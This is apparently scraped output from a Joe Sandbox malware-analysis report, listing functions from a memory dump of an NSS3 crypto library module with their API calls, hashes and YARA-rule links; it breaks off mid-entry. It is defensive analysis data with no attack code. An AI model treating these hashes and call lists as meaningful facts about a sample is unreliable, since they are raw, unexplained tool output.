Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 84dc95bf09914951fbc728fd2088542cc5bac4bea8005b338bc41eb834973b0c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4121A4B1A017429BE700CF25D944B62B7E5BFA434CF25C215E82C87A62EB70E595C7E0

Function 6C9CC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C9CC890

Part of subcall function 6C9C8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
Part of subcall function 6C9C8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

PR_GetCurrentThread.NSS3 ref: 6C9CC8B2

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C9CC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CC8EB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 9303bac8313d880e7917acd9114fcbf019337209450f9fe4049f376e8ec45649
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: A001C866F012116BE7002AB9ACC0ABF3E6D9F6529CF040179FD04A6B01F761C85893E3

Function 6C9AB9F0 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

CERT_GetCertTrust.NSS3(?,?), ref: 6C9ABA0B

Part of subcall function 6C9A9740: TlsGetValue.KERNEL32 ref: 6C9A975A
Part of subcall function 6C9A9740: EnterCriticalSection.KERNEL32 ref: 6C9A976F
Part of subcall function 6C9A9740: PR_Unlock.NSS3 ref: 6C9A97A7

PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6C9ABA26

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9ABA4D

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9ABA63

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Value$Alloc_AllocateCriticalEnterSectionUnlockUtil$CertTrustmemcpy
String ID:
API String ID: 1891477919-0
Opcode ID: 079ccc6939543f53d87dbdd1d0ead1664e1e79d117ba6f715164f5a1b15ba3ba
Instruction ID: cfcd9efe649f3c05b260ebd69e8f2e61732807d9f09bea871d8722a4f05607ac
Opcode Fuzzy Hash: 079ccc6939543f53d87dbdd1d0ead1664e1e79d117ba6f715164f5a1b15ba3ba
Instruction Fuzzy Hash: 9A1189B29002199FCB00DFA9DC50BAAB7F8FF08258B458565ED14D7751E732D45ACBE0

Function 6CA2EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EE14

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

memcpy.VCRUNTIME140(?,?,6CA19767,00000000,00000000,6CA17FFA,?,6CA19767,?,8B7874C0,0000A48E), ref: 6CA2EE33

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 7d7d70945653d665aca5a5af5b76d8772729da2c886a2b82717e8e310f9a1b0d
Instruction ID: 3235237cdd59d1d7a41dcb737ecbfc80b92dddb2b6873a93195918c6dc44c209
Opcode Fuzzy Hash: 7d7d70945653d665aca5a5af5b76d8772729da2c886a2b82717e8e310f9a1b0d
Instruction Fuzzy Hash: D01173B1A00726BBEB109E75DC84B46B3A8EB0435EF2C4535E919D6A40E339F4E487E1

Function 6C9ADFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

CERT_NewCertList.NSS3 ref: 6C9ADFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C9ADFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C9ADFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9AE029

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 85e6a27001dddb66a88c72c3f880dc6a96626894476d6b212bba29216d446785
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 2C114871A08226EBDB111EEA5C04BAB76ACAB9135CF040534E918D7B00E772C83792E1

Function 6CA108D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA109B3,0000001A,?), ref: 6CA108E9

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CA108FD

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CA10939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA10953

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: e1a2a1716566124df562268253f87b81d72c2fbd9e75564628479e7c07c7991c
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 4A0126B960974A2BFB049AB59C20B67379CAF5021CF044039EC1AC6F01FB31E4A8CB94

Function 6C9F49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

PR_SetError.NSS3 ref: 6C9F4A10
TlsGetValue.KERNEL32(6C9E781D,?,6C9DBD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9F4A24
EnterCriticalSection.KERNEL32(?,?,?,6C9DBD28,00CD52E8), ref: 6C9F4A39
PR_Unlock.NSS3(?,?,?,?,6C9DBD28,00CD52E8), ref: 6C9F4A4E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: a3d29f7e02b85b5be54ec8bc9a19af621d51387dfd2abffc2269f9ac2ffb4876
Instruction ID: cce3ce4e415b24af9a34d69883a04695b10e4d8c5f1d48876f9855a17e749d4c
Opcode Fuzzy Hash: a3d29f7e02b85b5be54ec8bc9a19af621d51387dfd2abffc2269f9ac2ffb4876
Instruction Fuzzy Hash: C8216A74B047008FDB00AF79C58446AB7F8BF55718B05496DD8A98BB01E730E88ACF96

Function 6C9C8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C8DE7
EnterCriticalSection.KERNEL32 ref: 6C9C8DFC
PR_Unlock.NSS3 ref: 6C9C8E2D
PR_SetError.NSS3 ref: 6C9C8E49

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c45e7b59975bd05862430c8c05f143e98f207aff0055d42df64677689ed5a28c
Instruction ID: 0e27c04be1f366ecb9540852f166e46ff2c82a1f2a6034609ce7c328f6358764
Opcode Fuzzy Hash: c45e7b59975bd05862430c8c05f143e98f207aff0055d42df64677689ed5a28c
Instruction Fuzzy Hash: 43118C75A05A019BD704BF78D5882AABBF4FF05718F058929DC8897B00EB30E895CBD2

Function 6CA698D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E

Part of subcall function 6C921630: TlsGetValue.KERNEL32(00000000,?,6C990936,00000000,?,6C92204A), ref: 6C921659

free.MOZGLUE(00000000), ref: 6CA6995E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: e52fb084151b94f82dd42f577a18976a77340ab609c32019becd52781886afc9
Instruction ID: e868c5006a645d945693c15b042e2f606932648891a71b50b90cd42673000699
Opcode Fuzzy Hash: e52fb084151b94f82dd42f577a18976a77340ab609c32019becd52781886afc9
Instruction Fuzzy Hash: D101C4727407029FD720AFBA9D0975B7AF8AB16B09F04442DE05AD2E40DB70D145CB91

Function 6CA4AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CA35F17,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CA35F17,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA4ACDB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: f36c0f1ee9239683f3f1ea8c60cc3a1c0150124e053c22b7d5ad97b3b8bf038c
Instruction ID: 1dc081f7677be2aafe4eafd9f45945ee8bc46a962fc12493745558d5851b80c5
Opcode Fuzzy Hash: f36c0f1ee9239683f3f1ea8c60cc3a1c0150124e053c22b7d5ad97b3b8bf038c
Instruction Fuzzy Hash: 390192B1601B069BD7A0EF6AE904743B7E8BF10659B048839D85AC3E10E735F455CBD0

Function 6C9B1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C9B1DFB

Part of subcall function 6C9A95B0: TlsGetValue.KERNEL32(00000000,?,6C9C00D2,00000000), ref: 6C9A95D2
Part of subcall function 6C9A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C9C00D2,00000000), ref: 6C9A95E7
Part of subcall function 6C9A95B0: PR_Unlock.NSS3(?,?,?,?,6C9C00D2,00000000), ref: 6C9A9605

PR_EnterMonitor.NSS3 ref: 6C9B1E09

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6C9AE190: PR_EnterMonitor.NSS3(?,?,6C9AE175), ref: 6C9AE19C
Part of subcall function 6C9AE190: PR_EnterMonitor.NSS3(6C9AE175), ref: 6C9AE1AA
Part of subcall function 6C9AE190: PR_ExitMonitor.NSS3 ref: 6C9AE208
Part of subcall function 6C9AE190: PL_HashTableRemove.NSS3(?), ref: 6C9AE219
Part of subcall function 6C9AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9AE231
Part of subcall function 6C9AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9AE249
Part of subcall function 6C9AE190: PR_ExitMonitor.NSS3 ref: 6C9AE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B1E37
PR_ExitMonitor.NSS3 ref: 6C9B1E4A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: afdf6f22d938bbd3112c9a1eda182edc1c5b1fe2d94b0c3de22bc3d4a4da1a40
Instruction ID: a3634970d782b3a418c83febc04668cd49df905a40dcc2fadc93c945c6b5d506
Opcode Fuzzy Hash: afdf6f22d938bbd3112c9a1eda182edc1c5b1fe2d94b0c3de22bc3d4a4da1a40
Instruction Fuzzy Hash: 69018F71B00150A7EB005B69FC44F4777A8AB62B48F214035F919A7B91E771E828CBD1

Function 6C9B1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9B1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C9B1D9C
free.MOZGLUE(00000000), ref: 6C9B1DB8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 5ab6e7033a5de0cf3a87fa4277d1d044324adbd7a7ca5fd784b469c371fa14c9
Instruction ID: 97fac53cbc4fb92cf071c903b8e916176bba794b42f25ee1f98df65839708b81
Opcode Fuzzy Hash: 5ab6e7033a5de0cf3a87fa4277d1d044324adbd7a7ca5fd784b469c371fa14c9
Instruction Fuzzy Hash: 9AF0F9B260131067FB101E596C41B4736589BC2B9CF100636DD1D6BB40D671E44482E1

Function 6C9F88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CA008AA,?), ref: 6C9F88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CA008AA,?), ref: 6C9F890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CA008AA,?), ref: 6C9F8936
PR_Unlock.NSS3(?,?,?,?,?,6CA008AA,?), ref: 6C9F8940

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 1d76f095f378c03bc8f2bd47e79977836e4bf921863c14f91e07355c453618cd
Instruction ID: 7a9b8544f94b64cbbb685315b4d26e6ffd4e9369fdd4a2c88473ff0e3f5af54a
Opcode Fuzzy Hash: 1d76f095f378c03bc8f2bd47e79977836e4bf921863c14f91e07355c453618cd
Instruction Fuzzy Hash: 12018074A047059BDB04AF3AD484659B7FCFF06398F054A2AD8A887B00E730E4D6CBC6

Function 6CA4AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

